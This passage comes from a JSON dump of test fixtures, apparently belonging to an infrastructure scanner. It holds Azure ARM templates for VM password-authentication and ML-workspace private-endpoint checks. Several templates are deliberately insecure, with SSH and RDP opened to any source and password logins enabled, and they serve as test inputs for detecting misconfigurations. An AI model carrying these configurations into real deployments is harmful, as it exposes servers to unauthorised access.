\"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2018-10-01\",\n      \"name\": \"[variables('networkInterfaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIpAddresses/', variables('publicIpAddressName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIpAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups',parameters('networkSecurityGroupName'))]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-02-01\",\n      \"name\": \"[parameters('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"SSH\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"protocol\": \"TCP\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"22\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetAddressPrefix')]\",\n              \"privateEndpointNetworkPolicies\": \"Enabled\",\n              \"privateLinkServiceNetworkPolicies\": \"Enabled\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIpAddresses\",\n      \"apiVersion\": \"2019-02-01\",\n      \"name\": \"[variables('publicIpAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIpAllocationMethod\": \"Dynamic\",\n        \"publicIPAddressVersion\": \"IPv4\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('dnsLabelPrefix')]\"\n        },\n        \"idleTimeoutInMinutes\": 4\n      },\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"default\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('VmSize')]\"\n        },\n        \"storageProfile\": {\n          \"osDisk\": {\n            \"createOption\": \"fromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"[variables('osDiskType')]\"\n            }\n          },\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"[parameters('ubuntuOSVersion')]\",\n            \"version\": \"latest\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"[parameters('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"linuxConfiguration\": null\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    },\n    \"hostname\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    },\n    \"sshCommand\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstancePassword/PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"simpleLinuxVM\",\n      \"metadata\": {\n        \"description\": \"The name of you Virtual Machine.\"\n      }\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for the Virtual Machine.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[toLower(concat('simplelinuxvm-', uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name for the Public IP used to access the Virtual Machine.\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"18.04-LTS\",\n      \"allowedValues\": [\n        \"12.04.5-LTS\",\n        \"14.04.5-LTS\",\n        \"16.04.0-LTS\",\n        \"18.04-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"VmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2s\",\n      \"metadata\": {\n        \"description\": \"The size of the VM\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"vNet\",\n      \"metadata\": {\n        \"description\": \"Name of the VNET\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Subnet\",\n      \"metadata\": {\n        \"description\": \"Name of the subnet in the virtual network\"\n      }\n    },\n    \"networkSecurityGroupName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"SecGroupNet\",\n      \"metadata\": {\n        \"description\": \"Name of the Network Security Group\"\n      }\n    }\n  },\n  \"variables\": {\n    \"publicIpAddressName\": \"[concat(parameters('vmName'), 'PublicIP' )]\",\n    \"networkInterfaceName\": \"[concat(parameters('vmName'),'NetInt')]\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n    \"osDiskType\": \"Standard_LRS\",\n    \"subnetAddressPrefix\": \"10.1.0.0/24\",\n    \"addressPrefix\": \"10.1.0.0/16\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2018-10-01\",\n      \"name\": \"[variables('networkInterfaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIpAddresses/', variables('publicIpAddressName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIpAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups',parameters('networkSecurityGroupName'))]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-02-01\",\n      \"name\": \"[parameters('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"SSH\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"protocol\": \"TCP\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"22\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetAddressPrefix')]\",\n              \"privateEndpointNetworkPolicies\": \"Enabled\",\n              \"privateLinkServiceNetworkPolicies\": \"Enabled\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIpAddresses\",\n      \"apiVersion\": \"2019-02-01\",\n      \"name\": \"[variables('publicIpAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIpAllocationMethod\": \"Dynamic\",\n        \"publicIPAddressVersion\": \"IPv4\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('dnsLabelPrefix')]\"\n        },\n        \"idleTimeoutInMinutes\": 4\n      },\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"enabled\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('VmSize')]\"\n        },\n        \"storageProfile\": {\n          \"osDisk\": {\n            \"createOption\": \"fromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"[variables('osDiskType')]\"\n            }\n          },\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"[parameters('ubuntuOSVersion')]\",\n            \"version\": \"latest\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"[parameters('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                  \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n                }\n              ]\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    },\n    \"hostname\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    },\n    \"sshCommand\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstancePassword/UNKNOWN.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for the Virtual Machine.\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the Virtual Machine.\"\n      }\n    },\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name for the Public IP used to access the Virtual Machine.\"\n      }\n    },\n    \"windowsOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"2016-Datacenter\",\n      \"allowedValues\": [\n        \"2008-R2-SP1\",\n        \"2012-Datacenter\",\n        \"2012-R2-Datacenter\",\n        \"2016-Nano-Server\",\n        \"2016-Datacenter-with-Containers\",\n        \"2016-Datacenter\",\n        \"2019-Datacenter\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Windows version for the VM. This will pick a fully patched image of this given Windows version.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2_v3\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat(uniquestring(resourceGroup().id), 'sawinvm')]\",\n    \"nicName\": \"myVMNic\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetName\": \"Subnet\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"publicIPAddressName\": \"myPublicIP\",\n    \"vmName\": \"SimpleWinVM\",\n    \"virtualNetworkName\": \"MyVNET\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('dnsLabelPrefix')]\"\n        }\n      }\n    },\n    {\n      \"comments\":  \"Default Network Security Group for template\",\n      \"type\":  \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\":  \"2019-08-01\",\n      \"name\":  \"[variables('networkSecurityGroupName')]\",\n      \"location\":  \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\":  \"default-allow-3389\",\n            \"properties\": {\n              \"priority\":  1000,\n              \"access\":  \"Allow\",\n              \"direction\":  \"Inbound\",\n              \"destinationPortRange\":  \"3389\",\n              \"protocol\":  \"Tcp\",\n              \"sourcePortRange\":  \"*\",\n              \"sourceAddressPrefix\":  \"*\",\n              \"destinationAddressPrefix\":  \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('nicName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2018-10-01\",\n      \"name\": \"windows\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"[parameters('windowsOSVersion')]\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\"\n          },\n          \"dataDisks\": [\n            {\n              \"diskSizeGB\": 1023,\n              \"lun\": 0,\n              \"createOption\": \"Empty\"\n            }\n          ]\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',variables('nicName'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[reference(resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))).primaryEndpoints.blob]\"\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"hostname\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstancePassword/UNKNOWN_1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.4.1272.37030\",\n      \"templateHash\": \"8632881811182083410\"\n    }\n  },\n  \"parameters\": {\n    \"vmName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the VM\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The virtual machine size.\"\n      }\n    },\n    \"vmResouceGroupLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vnetResourceGroup\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Resource Group\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the subnet within the virtual network\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the existing virtual network\"\n      }\n    },\n    \"osDiskType\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Determines the storage type used for the OS disk\"\n      }\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The admin user name of the VM\"\n      }\n    },\n    \"clientSecret\": {\n      \"type\": \"secureString\",\n      \"metadata\": {\n        \"description\": \"The admin password of the VM\"\n      }\n    },\n    \"timeZone\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"TimeZone\"\n      }\n    },\n    \"diagstorageName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the storage account for boot diagnostics and VM diagnostics\"\n      }\n    },\n    \"sqlVirtualMachineName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Same as the vmName\"\n      }\n    },\n    \"sqlDataDisksCount\": {\n      \"type\": \"int\",\n      \"maxValue\": 8,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"Amount of data disks (1TB each) for SQL Data files\"\n      }\n    },\n    \"dataPath\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Path for SQL Data files. Please choose drive letter from F to Z, and other drives from A to E are reserved for system\"\n      }\n    },\n    \"sqlLogDisksCount\": {\n      \"type\": \"int\",\n      \"maxValue\": 8,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"Amount of data disks (1TB each) for SQL Log files\"\n      }\n    },\n    \"logPath\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Path for SQL Log files. Please choose drive letter from F to Z and different than the one used for SQL data. Drive letter from A to E are reserved for system\"\n      }\n    },\n    \"tempDbPath\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Path for SQL tempdb files. Please choose drive letter from F to Z and different than the one used for SQL data. Drive letter from A to E are reserved for system\"\n      }\n    },\n    \"resourceTags\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"This will be used as a tag\"\n      }\n    },\n    \"OSDiskSize\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"Determines the size of the default data disk in GB\"\n      }\n    }\n  },\n  \"variables\": {\n    \"networkInterfaceName_var\": \"[format('nic-{0}-001', parameters('vmName'))]\",\n    \"osDisk\": \"[format('{0}-osDisk', parameters('vmName'))]\",\n    \"diskConfigurationType\": \"NEW\",\n    \"dataDisksLuns\": \"[array(range(0, parameters('sqlDataDisksCount')))]\",\n    \"logDisksLuns\": \"[array(range(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount')))]\",\n    \"dataDisks\": {\n      \"caching\": \"ReadOnly\",\n      \"writeAcceleratorEnabled\": false,\n      \"storageAccountType\": \"Premium_LRS\",\n      \"dataDiskSize\": 1023\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[parameters('vmName')]\",\n      \"location\": \"[parameters('vmResouceGroupLocation')]\",\n      \"tags\": \"[parameters('resourceTags')]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"storageProfile\": {\n          \"copy\": [\n            {\n              \"name\": \"dataDisks\",\n              \"count\": \"[length(range(0, add(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount'))))]\",\n              \"input\": {\n                \"lun\": \"[range(0, add(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount')))[copyIndex('dataDisks')]]\",\n                \"createOption\": \"Empty\",\n                \"caching\": \"[if(greaterOrEquals(range(0, add(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount')))[copyIndex('dataDisks')], parameters('sqlDataDisksCount')), 'None', variables('dataDisks').caching)]\",\n                \"writeAcceleratorEnabled\": \"[variables('dataDisks').writeAcceleratorEnabled]\",\n                \"diskSizeGB\": \"[variables('dataDisks').dataDiskSize]\",\n                \"managedDisk\": {\n                  \"storageAccountType\": \"[variables('dataDisks').storageAccountType]\"\n                }\n              }\n            }\n          ],\n          \"osDisk\": {\n            \"name\": \"[variables('osDisk')]\",\n            \"diskSizeGB\": \"[parameters('OSDiskSize')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"[parameters('osDiskType')]\"\n            }\n          },\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftSQLServer\",\n            \"offer\": \"sql2019-ws2022\",\n            \"sku\": \"enterprise-gen2\",\n            \"version\": \"latest\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName_var'))]\"\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"[parameters('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('clientSecret')]\",\n          \"windowsConfiguration\": {\n            \"enableAutomaticUpdates\": true,\n            \"provisionVMAgent\": true,\n            \"timeZone\": \"[parameters('timeZone')]\"\n          }\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[format('http://{0}.blob.core.windows.net', parameters('diagstorageName'))]\"\n          }\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName_var'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n        \"apiVersion\": \"2022-12-01\",\n        \"name\": \"fail1\",\n        \"location\": \"West US\",\n        \"properties\": {\n          \"managedNetwork\": {\n            \"outboundRules\": {\n                \"rule1\": {\n                    \"type\": \"ServiceTag\"\n                }\n            }\n          }\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n      \"apiVersion\": \"2022-12-01\",\n      \"name\": \"fail2\",\n      \"location\": \"West US\",\n      \"properties\": {\n          \"description\": \"No networks\"\n\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n        \"apiVersion\": \"2022-12-01\",\n        \"name\": \"pass1\",\n        \"location\": \"West US\",\n        \"properties\": {\n          \"managedNetwork\": {\n            \"outboundRules\": {\n                \"rule1\": {\n                    \"type\": \"PrivateEndpoint\"\n                }\n            }\n          }\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/pass2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n        \"apiVersion\": \"2022-12-01\",\n        \"name\": \"pass2\",\n        \"location\": \"West US\",\n        \"properties\": {\n          \"managedNetwork\": {\n            \"outboundRules\": {\n                \"rule1\": {\n                    \"type\": \"ServiceTag\"\n                },\n                \"rule2\": {\n                  \"type\": \"PrivateEndpoint\"\n              }\n            }\n          }\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-FAILED.json",
